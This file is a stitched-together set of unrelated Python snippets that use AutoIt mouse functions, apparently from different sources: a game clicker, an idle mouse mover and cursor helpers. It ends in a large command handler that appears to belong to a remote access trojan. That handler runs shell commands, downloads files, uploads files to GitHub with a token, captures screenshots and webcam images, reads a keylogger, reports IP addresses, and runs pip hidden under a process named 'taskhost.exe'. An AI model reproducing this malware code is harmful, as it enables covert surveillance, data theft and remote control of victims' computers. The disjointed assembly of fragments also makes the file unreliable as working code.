def update(): game_window = WindowMgr() game_window.find_window_wildcard(gameWildcard) quest_pos = autoit.mouse_get_pos() print(quest_pos) print(game_window.handle) print("\nHold {} to stop.".format(stopShortcut)) while True: try: prev_mouse_pos = autoit.mouse_get_pos() prev_foreground_window = WindowMgr() prev_foreground_window.foreground_window() game_window.set_foreground() time.sleep(0.040) autoit.mouse_click("left", quest_pos[0], quest_pos[1], 1, 0) prev_foreground_window.set_foreground() autoit.mouse_move(prev_mouse_pos[0], prev_mouse_pos[1], 0) for i in range(clickInterval): if keyboard.is_pressed(stopShortcut): return time.sleep(1) except: continue
def main(): currentPos = autoit.mouse_get_pos() while True: try: time.sleep(2) newPos = autoit.mouse_get_pos() if currentPos == newPos: mover() currentPos = newPos except KeyboardInterrupt: exit() except: pass
def getCurrentPos(cls): """ :description :return: 返回当前鼠标所在的x,y坐标 """ ret = autoit.mouse_get_pos() return ret
def capture_image(): global x, y global x1, x2, y1, y2 global image image = ImageGrab.grab() x, y = autoit.mouse_get_pos() x1 = x - 90 x2 = x + 90 y1 = y - 300 y2 = y + 300
def track(directory): global check_init if cursor[1] > 0: if cursor[2] == 0: cursor[2] = time.time() length_ = 10 if abs(cursor[0][0] - autoit.mouse_get_pos()[0]) > length_ or \ abs(cursor[0][1] - autoit.mouse_get_pos()[1]) > length_: autoit.mouse_move(*cursor[0], speed=0) if time.time() - cursor[2] > cursor[1]: cursor[1] = 0 cursor[2] = 0 elif cursor_down[0]: autoit.mouse_up() autoit.mouse_down() if time.time() - cursor_down[1] > cursor_down[0]: cursor_down[0] = 0 if check_init: init(directory) check_init = False delay = 0.1 time.sleep(delay)
def mover(): monitor = screeninfo.get_monitors() afk = True _X_MAX = monitor[0].width _Y_MAX = monitor[0].height while (afk): try: x = random.randrange(0, _X_MAX) y = random.randrange(0, _Y_MAX) autoit.mouse_move(x, y) targetPos = (x, y) time.sleep(1) currentPos = autoit.mouse_get_pos() # print(currentPos) if targetPos != currentPos: afk = False # print("I'm Out") except: pass
def mouse_pos(): # time.sleep(0.1) # return 1 return autoit.mouse_get_pos()
def get_pos(): x, y = autoit.mouse_get_pos() print(x) print(y)
def sleep_cursor(time_secs): cursor[0] = autoit.mouse_get_pos() cursor[1] = time_secs
def pre_cmd(s: str, directory='', v=False): global current_path, infoA, cursor_down if v: return 9, 6 # ? variables = { 'script_dir': directory, 'images': os.path.join(directory, 'images'), 'executables': os.path.join(directory, 'executable'), 'path': current_path, 'keylog': os.path.join(directory, keylog_file), } for k, v in variables.items(): s = s.replace(f'?{k}', v) cmd_name, *args = list( map(lambda x: x.strip('"').strip("'"), shlex.split(s, posix=False))) if cmd_name == '.exe': if len(args) == 1: work = os.path.join(directory, 'executable') name = to_exe(args[0]) folder = name[:-4] if os.path.exists(os.path.join(work, folder, name)): t = temp(os.path.join(work, folder, name), 'z1MSImc4eBoAd') command(t) return b'' return 'Unknown exe'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.cls': if args: name = to_exe(args[0]) s = f'taskkill /f /im {name}' command(s) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.download': if len(args) == 2: urlretrieve(args[1], args[0]) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.upload': if len(args) == 3: path, token, repo = args try: z = github_upload(token, repo, path) except Exception as e: return f'Error: {e}'.encode('cp866') z = z.replace("/", "%5").replace("\\", "%5") return f'{load_prefix}aantr/{repo}/{z}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.bg': if len(args) == 1: p = args[0] if p == 'A': infoA = not infoA return str(infoA).encode('cp866') ims = os.listdir(variables['images']) if p in map(lambda j: j if '.' not in j else j[:j.rfind('.')], ims): for i in ['.jpg', '.png', '.bmp']: if p + i in ims: p = p + i break if os.path.exists(os.path.join(variables['images'], p)): set_wallpaper(os.path.join(variables['images'], p), infoA) return b'' return 'No such im'.encode('cp866') else: return 'Wrong syntax'.encode('cp866') elif cmd_name == '.ls': if len(args) == 1: p = args[0] if p == 'root': current_path = '' elif p == '..' and current_path: current_path = os.path.split(current_path)[0] elif os.path.isdir(os.path.join(current_path, p)): current_path = os.path.join(current_path, p) else: return 'No such dir'.encode('cp866') return b'' elif not args: if current_path == '': return '\n'.join(['\n'] + get_disks()).encode('cp866') return '\n'.join([current_path] + os.listdir(current_path)).encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.curs': if len(args) == 1: t = args[0] sleep_cursor(float(t)) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.note': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) t = args[1] write_notepad(t) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.f4': if len(args) == 1: t = float(args[0]) time.sleep(t) close_active_win() return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.write': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) autoit.send(args[1]) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.movecurs': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) for i in args[1:]: x, y = autoit.mouse_get_pos() i = i.split('.') autoit.mouse_move(x + int(i[0]), y + int(i[1]), speed=-1) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.downcurs': if len(args) == 1: t = float(args[0]) cursor_down[0], cursor_down[1] = t, time.time() return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.print': return ' '.join(args).encode('cp866') elif cmd_name == '.download_exe': if not args: download_folders(check=False) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_layout': if not args: return str(keylogger.get_layout()).encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_ip': if not args: hostname = socket.gethostname() ip = socket.gethostbyname(hostname) return f'{ip} | {hostname}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_external_ip': if not args: ip = urllib.request.urlopen('http://ident.me').read().decode( 'utf8') return f'{ip}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_modules': if not args: get_modules() return f'ok'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.ss': if not args: path = os.path.join(directory, 'ss.png') with mss() as sct: out = sct.shot(output=path) return f'{out}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.cam': if not args: path = os.path.join(directory, 'cam.png') cam = pygame.camera.Camera(pygame.camera.list_cameras()[0], (640, 480)) cam.start() img = cam.get_image() pygame.image.save(img, path) cam.stop() return f'{path}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.pip': if not args: args = ['install', *pip_install] python = os.path.join(os.path.split(directory)[0], 'taskhost.exe') startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW p = subprocess.Popen([python, '-m', 'pip', *args], startupinfo=startupinfo, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() modules() return f'{p[0]}{p[1]}'.encode('cp866') # return 'Wrong syntax'.encode('cp866') elif s[0] != '.': if s[0] == '?': msg = command(s[1:], True) return msg elif s[0] == '!': command(s[1:]) return 'Submitted'.encode('cp866') return 'No such command'.encode('cp866')